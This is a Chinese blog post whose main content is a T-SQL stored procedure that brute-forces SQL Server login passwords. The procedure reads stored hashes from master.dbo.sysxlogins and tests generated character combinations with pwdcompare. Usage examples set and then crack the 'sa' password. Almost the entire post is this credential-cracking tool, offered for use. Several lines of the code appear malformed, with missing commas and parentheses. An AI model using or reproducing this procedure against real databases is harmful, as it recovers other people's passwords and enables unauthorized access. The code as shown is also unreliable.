穷举法破解 SQL Server 用户密码

/*--穷举法破解 SQL Server 用户密码 

可以破解中文,特殊字符,字符+尾随空格的密码 
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII 

理论上可以破解任意位数的密码 
条件是你的电脑配置足够,时间足够 

--邹建 2004.08(引用请保留此信息)--
*/
 

/*--调用示例 

--测试特殊字符 
declare @pwd sysname 
set @pwd=char(0)+'a ' 
exec sp_password null,@pwd,'sa' 
exec p_GetPassword 

--测试带空格的密码 
exec sp_password null,'a ','sa' 
exec p_GetPassword 

--测试中文 
exec sp_password null,'我 ','sa' 
exec p_GetPassword 

--清除密码 
exec sp_password null,null,'sa' 
--
*/
 
create   proc  p_GetPassword 
@username  sysname = null -- 用户名,如果不指定,则列出所有用户 
@pwdlen   int = 3   -- 密码破解的位数,默认只破解3位及以下的密码 
as  
-- 生成要破解的密码的用户表 
select  name,password 
,type
= case   when  xstatus & 2048 = 2048   then   1   else   0   end  
,jm
= case   when  password  is   null   or   datalength (password) < 46  
then   1   else   0   end  
,pwdstr
= case   when   datalength (password) < 46  
then   cast (password  as  sysname) 
else   cast ( ''   as  sysname)  end  
,pwd
= cast ( ''   as   varchar ( 8000 )) 
into  #pwd 
from  master.dbo.sysxlogins a 
where  srvid  is   null  
and  name = isnull ( @username ,name) 

-- 生成临时表 
select   top   255  id = identity ( int , 0 , 1 into  #t  from  sysobjects a,sysobjects b 
alter   table  #t  add   constraint  PK_#t  primary   key (id) 

-- 清理不需要的字符 
if   not   exists ( select   1   from  #pwd  where  type = 1
delete   from  #t  where  id  between   65   and   90   or  id  between   129   and   254  

-- 密码破解处理 
declare   @l   int  
declare   @s1   varchar ( 8000 ), @s2   varchar ( 8000 ), @s3   varchar ( 8000 ), @s4   varchar ( 8000

-- 破解1位密码 
select   @l = 0  
,
@s1 = ' id=a.id '  
,
@s2 = ' #t a '  
,
@s3 = ' char(b.id) '  
,
@s4 = ' cast(b.id as varchar) '  
exec ( '  
update pwd set jm=1,pwdstr=
' + @s3 + '  
,pwd=
' + @s4 + '  
from #pwd pwd,#t b 
where pwd.jm=0 
and pwdcompare(
' + @s3 + ' ,pwd.password,pwd.type)=1 
'

-- 破解超过2位的密码 
while   exists ( select   1   from  #pwd  where  jm = 0   and   @l < @pwdlen - 1
begin  
select   @l = @l + 1  
,
@s1 = @s1 + ' ,id ' + cast ( @l   as   varchar
+ ' = ' + char ( @l / 26 + 97 ) + char ( @l % 26 + 97 ) + ' .id '  
,
@s2 = @s2 + ' ,#t  ' + char ( @l / 26 + 97 ) + char ( @l % 26 + 97
,
@s3 = @s3 + ' +char(b.id ' + cast ( @l   as   varchar ) + ' ) '  
,
@s4 = @s4 + ' + '' , '' +cast(b.id ' + cast ( @l   as   varchar ) + '  as varchar) '  
exec ( '  
select 
' + @s1 + '  into #tt from  ' + @s2 + '  
update pwd set jm=1,pwdstr=
' + @s3 + '  
,pwd=
' + @s4 + '  
from #pwd pwd,#tt b 
where pwd.jm=0 
and pwdcompare(
' + @s3 + ' ,pwd.password,pwd.type)=1 
'
end  

-- 显示破解的密码 
select  用户名 = name,密码 = pwdstr,密码ASCII = pwd 
from  #pwd 
go  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值